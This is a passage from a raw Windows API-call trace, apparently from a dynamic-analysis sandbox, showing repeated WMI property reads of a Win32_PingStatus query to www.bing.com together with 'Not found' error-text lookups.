Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5ce6268) returned 0x0 [0136.834] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6268) returned 0x3 [0136.834] WbemStatusCodeText:IUnknown:Release (This=0x5ce6268) returned 0x2 [0136.834] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6268, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0136.834] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.836] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.836] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.836] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.836] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.836] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0136.836] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.836] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.836] SafeArrayGetLBound (in: psa=0x5cea1c0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0136.836] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.836] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.837] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.837] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.837] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.837] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.837] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.837] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.837] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.837] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.837] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.837] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.837] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.837] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.837] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.837] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.837] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.837] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.837] SysStringByteLen (bstr="__PATH") returned 0xc [0136.837] SysStringByteLen (bstr="__PATH") returned 0xc [0136.837] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828c04*=0, plFlavor=0x2828c08*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2828c04*=3, plFlavor=0x2828c08*=64) returned 0x0 [0136.838] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828c38*=0, plFlavor=0x2828c3c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2828c38*=8, plFlavor=0x2828c3c*=64) returned 0x0 [0136.838] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.838] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.838] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828c90*=0, plFlavor=0x2828c94*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828c90*=8, plFlavor=0x2828c94*=64) returned 0x0 [0136.838] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828cb8*=0, plFlavor=0x2828cbc*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2828cb8*=8, plFlavor=0x2828cbc*=64) returned 0x0 [0136.838] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.838] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.838] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828d10*=0, plFlavor=0x2828d14*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2828d10*=8, plFlavor=0x2828d14*=64) returned 0x0 [0136.838] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.839] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.839] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828ee8*=0, plFlavor=0x2828eec*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2828ee8*=3, plFlavor=0x2828eec*=64) returned 0x0 [0136.839] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828f1c*=0, plFlavor=0x2828f20*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea040*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6128, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2828f1c*=8200, plFlavor=0x2828f20*=64) returned 0x0 [0136.839] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828f50*=0, plFlavor=0x2828f54*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2828f50*=8, plFlavor=0x2828f54*=64) returned 0x0 [0136.839] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.839] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.839] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828f9c*=0, plFlavor=0x2828fa0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2828f9c*=8, plFlavor=0x2828fa0*=64) returned 0x0 [0136.839] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.840] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.840] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828fe8*=0, plFlavor=0x2828fec*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2828fe8*=8, plFlavor=0x2828fec*=64) returned 0x0 [0136.840] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.840] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.840] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0136.840] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0136.840] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.840] IWbemClassObject:Get (in: This=0x5ce4808, wszName="WriteDebugStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282921c*=0, plFlavor=0x2829220*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282921c*=0, plFlavor=0x2829220*=0) returned 0x80041002 [0136.840] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0136.841] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5ce6128) returned 0x0 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0136.842] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5ce6278) returned 0x0 [0136.842] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x0 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5ce6278) returned 0x0 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0136.842] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6278) returned 0x3 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0136.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0136.843] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0136.843] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0136.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0136.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6278) returned 0x2 [0136.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6278) returned 0x1 [0136.843] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0136.843] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0136.843] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6278, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5ce6278) returned 0x0 [0136.843] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6278) returned 0x3 [0136.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6278) returned 0x2 [0136.843] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6278, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0136.843] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.844] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.844] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.845] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.845] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.845] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0136.845] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.845] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0136.845] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0136.845] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.845] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.845] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.845] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.845] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.845] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.845] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.845] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.845] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.845] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.845] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.846] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.846] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.846] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.846] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.846] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.846] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.846] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.846] SysStringByteLen (bstr="__PATH") returned 0xc [0136.846] SysStringByteLen (bstr="__PATH") returned 0xc [0136.846] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28295fc*=0, plFlavor=0x2829600*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28295fc*=3, plFlavor=0x2829600*=64) returned 0x0 [0136.846] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829630*=0, plFlavor=0x2829634*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2829630*=8, plFlavor=0x2829634*=64) returned 0x0 [0136.846] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.846] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.846] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829688*=0, plFlavor=0x282968c*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829688*=8, plFlavor=0x282968c*=64) returned 0x0 [0136.847] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28296b0*=0, plFlavor=0x28296b4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28296b0*=8, plFlavor=0x28296b4*=64) returned 0x0 [0136.847] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.847] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.847] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829708*=0, plFlavor=0x282970c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2829708*=8, plFlavor=0x282970c*=64) returned 0x0 [0136.847] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.847] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.847] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28298e0*=0, plFlavor=0x28298e4*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28298e0*=3, plFlavor=0x28298e4*=64) returned 0x0 [0136.847] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829914*=0, plFlavor=0x2829918*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea010*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6128, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2829914*=8200, plFlavor=0x2829918*=64) returned 0x0 [0136.848] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829948*=0, plFlavor=0x282994c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2829948*=8, plFlavor=0x282994c*=64) returned 0x0 [0136.848] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.848] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.848] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2829994*=0, plFlavor=0x2829998*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2829994*=8, plFlavor=0x2829998*=64) returned 0x0 [0136.848] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.848] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.848] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28299e0*=0, plFlavor=0x28299e4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28299e0*=8, plFlavor=0x28299e4*=64) returned 0x0 [0136.848] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.848] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0136.848] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0136.848] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: 